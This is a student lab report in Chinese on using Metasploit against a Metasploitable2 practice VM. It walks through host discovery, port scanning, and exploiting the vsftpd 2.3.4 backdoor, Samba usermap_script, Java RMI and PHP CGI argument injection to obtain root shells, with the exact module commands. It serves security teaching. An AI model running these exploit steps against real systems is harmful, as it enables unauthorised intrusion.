20222407 2024-2025-1 《网络与系统攻防技术》实验六实验报告

news/2024/11/16 18:41:41/文章来源:https://www.cnblogs.com/Margarita0/p/18549659

1.实验内容
1.1 本周学习内容回顾
Metasploit 是一个功能强大的渗透测试框架,广泛应用于网络安全领域。它为安全专家、渗透测试人员和红队提供了一个全面的工具集,支持漏洞利用、攻击模拟和安全评估。Metasploit 提供了丰富的攻击模块,涵盖了远程代码执行、服务拒绝、提权等多种攻击方式,支持对多种操作系统和应用程序进行测试。除了漏洞利用,它还具备强大的后渗透功能,如键盘记录、文件上传下载、网络嗅探等。通过与其他安全工具的集成,Metasploit 能够帮助用户快速识别、利用并修复潜在的安全漏洞,是网络安全行业中的重要工具之一。
1.2 实验要求
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
查询靶机IP地址,得到结果为192.168.1.114

查询kail ip:192.1.113

ping:

2.实验过程
2.1 前期渗透
2.1.1 主机发现(可用Aux中的arp_sweep,search一下就可以use)
search arp_sweep
use 0
set RHOSTS 192.168.1.0/24
set THREADS 30 run

成功查询到靶机(192.168.1.114)
2.1.2 端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等
search portscan/tcp
set ROHSTS 192.168.1.114
run

成功扫描出tcp端口。
2.1.3 扫描系统版本、漏洞

search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.1.114
run

目标主机运行的是一个较旧的 Samba 版本(3.0.20),且使用 SMBv1,可能存在一些已知漏洞。
2.2 Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOST 192.168.1.114
run

run攻击成功执行后,再输入uname –a、 pwd、 id等命令 验证。

2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
search exploit/multi/samba/usermap_script
use 0
set RHOST 192.168.1.114
exploit

利用成功 执行uname –a验证

2.4 Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
search exploit/multi/misc/java_rmi_server
use 0
show options //查看配置参数
set RHOST 192.168.1.114
exploit


运行成功,输入sessions -i 3进入任务
再输入shell,利用whoami命令验证,得到结果root。

2.5 PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
search exploit/multi/http/php_cgi_arg_injection
use 0
set RHOST 192.168.1.114
Exploit

攻击成功,输入dir验证。

3.问题及解决方案
一开始扫描的时候,没有开root权限导致无法攻击成功。
4.学习感悟、思考等
在进行 Metasploit 攻击渗透实践后,深感网络安全领域如同一个充满隐秘通道和坚固壁垒的迷宫。这种实践让我认识到,每一个看似安全的系统都可能存在潜在的脆弱点,而 Metasploit 这样强大的工具就像一把双刃剑。一方面,它让我们了解到攻击者可能利用的手段,从信息收集到漏洞利用,再到获取目标系统的控制权,步骤的连贯性和简易性令人警醒。这使我们明白,在构建防御体系时,不能放过任何一个环节,必须要有全面且深入的安全策略。

另一方面,它也强调了道德责任的重要性。拥有这样的技术能力,如果被用于恶意目的,可能会对个人、企业乃至整个社会造成不可估量的损害。这让我意识到网络安全从业者不仅要有精湛的技术,更要有坚定的道德操守,要将自己的知识用于保护信息资产,而不是破坏。这种实践如同一面镜子,反射出网络安全攻防背后复杂的人性和伦理问题。

同时,实践也凸显了持续学习的必要性。网络环境不断变化,新的漏洞和攻击方式层出不穷,我们必须时刻保持警惕,不断更新知识,才能在这场网络安全的较量中保持领先,守护好网络世界的安全防线。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/834704.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

项目冲测5

项目冲测5这个作业属于哪个课程 计科12班这个作业的要求在哪里 项目冲测 一.团队简介 队名:菜鸟队姓名 学号 团队责任巴哈尔古丽吾甫尔 3222004679 协调团队工作,对作业任务进行整理分配,整理博客工具人努日曼姑丽阿卜来孜 3222004935 指定测试计划,对软件进行测试,漏洞整…

基于Java+SSM+JSP+MYSQL实现的宠物领养收养管理系统功能设计与实现四

三、系统设计基于SSM整合maven开发的一款宠物收养领养管理系统附带源码指导运行视频,该项目前端模板是借鉴别人的,自己写的后台代码,该系统分为前台和后台,前台功能有:登录注册、领养中心、活动中心等。后台管理员功能有:用户管理、宠物管理、活动管理、领养管理、志愿者…

项目冲测4

项目冲测4这个作业属于哪个课程 计科12班这个作业的要求在哪里 项目冲测 一.团队简介 队名:菜鸟队姓名 学号 团队责任巴哈尔古丽吾甫尔 3222004679 协调团队工作,对作业任务进行整理分配,整理博客工具人努日曼姑丽阿卜来孜 3222004935 指定测试计划,对软件进行测试,漏洞整…

此操作系统不支持 .NET Framework 4.8.1

解决办法: 安装一个4.8的离线包,下载地址:https://download.visualstudio.microsoft.com/download/pr/2d6bb6b2-226a-4baa-bdec-798822606ff1/8494001c276a4b96804cde7829c04d7f/ndp48-x86-x64-allos-enu.exe 感谢吾爱:点击跳转 终于安装上了:作者QQ4577105

MarkText使用教程-cnblog

MarkText使用教程 typora是需要付费的,就算使用破解版的,每次都要点....,可能有的时候不需要 还是觉得不好 找到开源的MarkText,个人觉得还是非常好用的 使用的方法也和typora差不多的,用习惯了就好了 下载安装 首先我们要登录github,搜索Marktext 但基本都会搜索到英文版的,对…

20222427 2024-2025-1 《网络与系统攻防技术》实验六实验报告

1.实验内容 1.1 本周学习内容回顾使用了Metasploit框架,其是一个功能强大的渗透测试框架。在使用的过程当中,Metasploit 提供了种类繁多的攻击模块,涵盖了远程代码执行、服务拒绝、提权等多种攻击方式,支持对多种操作系统和应用程序进行测试。除了漏洞利用,它还具备强大的…

ShardingSphere 如何完美驾驭分布式事务与 XA 协议?

0 前言 基于上一文基础,详细展开 ShardingSphere 分布式事务实现。先看支持强一致性事务的XAShardingTransactionManager。 1 XAShardingTransactionManager 回到 ShardingSphere,来到 sharding-transaction-xa-core 工程的 XAShardingTransactionManager 类,分布式事务的 X…

基于Java+SSM+JSP+MYSQL实现的宠物领养收养管理系统功能设计与实现三

基于SSM整合maven开发的一款宠物收养领养管理系统附带源码指导运行视频,该项目前端模板是借鉴别人的,自己写的后台代码,该系统分为前台和后台,前台功能有:登录注册、领养中心、活动中心等。后台管理员功能有:用户管理、宠物管理、活动管理、领养管理、志愿者管理等。该项…

02物理层

001 七层体系未出世前四层体系已独霸天下成为事实,五层体系用于教授理解。 五层网络体系是抽象逻辑结构,不是物理结构,物理层不是传播媒介不是具体设施。 物理层解决怎末把数据放到传输媒介上去传输。链路层将信息交给物理层后,物理层考虑传输媒体特性对比特流进行编码。然…

团队作业4——项目冲刺6

团队作业4--项目冲刺六这个作业属于哪个课程 https://edu.cnblogs.com/campus/gdgy/CSGrade22-34作业要求 https://edu.cnblogs.com/campus/gdgy/CSGrade22-34/homework/13234作业目标 进行冲刺,团队集体协作完成项目开发GitHub连接 https://www.cnblogs.com/zayer11/p/185451…

Meissonic 文生图模型:小参数,超轻量,本地部署推理教程

阿里巴巴等联合推出的 Meissonic 文生图模型,仅 1B 参数,能在普通电脑及未来无线端运行推理。本文将详细展示其在笔记本上的本地部署教程,带你领略 Meissonic 的独特魅力与强大功能……最近,阿里巴巴集团、Skywork AI 携手香港科技大学及其广州校区、浙江大学、加州大学伯克…

大模型应用开发基础 : 语言模型的重要里程碑

本文快速复习了基于统计的语言模型的基本玩法,然后介绍了语言模型发展过程中的三个重要里程碑:神经概率语言模型、词向量模型 和 预训练模型。基于这几个里程碑的发展,开启了NLP处理的新纪元,我们可以基于经过预训练的大模型进行微调,进而处理我们自己业务领域的实际问题。…